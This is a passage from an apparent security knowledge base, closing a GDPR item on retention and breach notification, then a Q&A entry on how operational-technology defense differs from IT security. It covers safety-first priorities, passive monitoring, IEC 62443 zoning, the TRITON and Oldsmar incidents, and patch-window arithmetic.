- Retention as policy, not code: a data lake kept full browsing history for every employee indefinitely. A subject access request (Art. 15) forced disclosure, there was no defensible basis for the retention, and the request took weeks because nobody had built a way to search the lake.
- Over-collection widens breach blast radius: the Art. 33 notification covers everything you held, including data you never needed.
- Missing the clock: IR treats a breach as a technical incident, scoping runs past 72 hours, and the late notification is itself a violation. Art. 83(5) caps fines at €20M or 4% of global annual turnover, whichever is higher.
Before calling it handled: every log source has a purpose and a retention in the pipeline config; DSAR search is a tested runbook, not an ad-hoc query; the IR plan names who makes the Art. 33 call and starts the clock at awareness.
Curated: · Written: · Reviewed:
Q&A-47What changes when the systems you defend control physical processes?
The 90-second version. Three things invert. Confidentiality drops below availability and safety, so the priority order becomes A-S-C rather than C-I-A. The change window collapses from weekly to an annual turnaround, because the vendor has to validate the firmware and the plant has to be down to install it. And every control gets evaluated against the physical consequence of it failing, not just the data it protects. A firewall rule that drops a heartbeat is an outage. An endpoint agent that reboots an HMI mid-batch is scrap. A safety instrumented system (SIS) patched without revalidation is a hazard.
Assume production OT: PLCs, RTUs, DCS controllers, HMIs, historians, and the SIS, with a corporate network above it. If the SIS is out of scope, say so: it changes the answer.
Why IT techniques don't transfer. Process devices are not general-purpose computers. Many run a single-threaded TCP/IP stack with a connection table in the single digits to low tens, no memory protection, and firmware that has never been fuzzed. A SYN scan a server shrugs off can exhaust that table or trip a parser bug and fault the CPU. Protocol probes are worse: Modbus/TCP function codes 5, 6, 15 and 16 write coils and registers, so a scanner walking function codes is issuing commands, not asking questions. The device may also be fifteen years old because the vendor's last firmware release predates the plant, and requalifying a new one costs a turnaround.
| IT network | Process network | |
|---|---|---|
| Priority order | confidentiality, integrity, availability | availability, safety, confidentiality |
| Change window | weekly or monthly | annual turnaround, vendor-validated |
| Asset discovery | active scan | passive only |
| Endpoint agent | standard | rarely; HMI/EWS only, with vendor sign-off |
| Boundary | firewall plus IDS | zones and conduits, unidirectional gateway upward |
| Worst case of a bad control | outage | equipment damage or injury |
The containment path is the Purdue model, enforced as IEC 62443 zones and conduits:
L4/L5 Enterprise (email, ERP) <- IT
| firewall / DMZ (L3.5)
L3 Site operations (historian mirror, jump host)
| industrial firewall, default-deny
L2 Supervisory (HMI, engineering workstation)
|
L1 Basic control (PLC, RTU, DCS controller)
|
L0 Process (sensors, actuators)
SIS: separate logic solver, sensors, final elements
Failure modes, and how you see them.
- Active scan faults a controller. Detect with passive monitoring and controller mode-change alarms, not by scanning harder.
- Endpoint agent on an HMI. CPU contention causes missed scan cycles, or an auto-update reboots the box. Detect with scan-cycle jitter and HMI heartbeat.
- SIS reachable from the basic process control system. TRITON/Trisis (2017) targeted Schneider Electric Triconex safety controllers with the intent to reprogram them into allowing unsafe conditions. The safety layer is a target, not a bystander. IEC 61511 requires SIS independence; a patch to it forces revalidation and possibly a new proof test.
- Flat network with remote access. Oldsmar, 2021: an operator's HMI was reachable over remote-access software, and the sodium hydroxide setpoint moved from 100 ppm to 11,100 ppm before an operator noticed and reversed it.
Worked example (hypothetical). Forty controllers, one eight-hour turnaround a year, thirty minutes each to patch and revalidate. Forty times thirty minutes is twenty hours of work against eight hours of window, so you patch sixteen controllers a year and the fleet cycles every two and a half years. That arithmetic, not the CVE count, is why compensating controls (segmentation, allowlisting, physical access control) carry the risk you cannot patch away.
Trade-offs. Passive-only monitoring means you never learn the firmware or patch state, so you accept that blindness and pay for it elsewhere. A unidirectional gateway to the historian gives IT the data with no return path, which also means no remote management. Both are the right call when the alternative is a control that can stop the process.
Test any active technique in a lab or on a spare controller first. The control must not be more dangerous than the threat.
Curated: · Written: · Reviewed: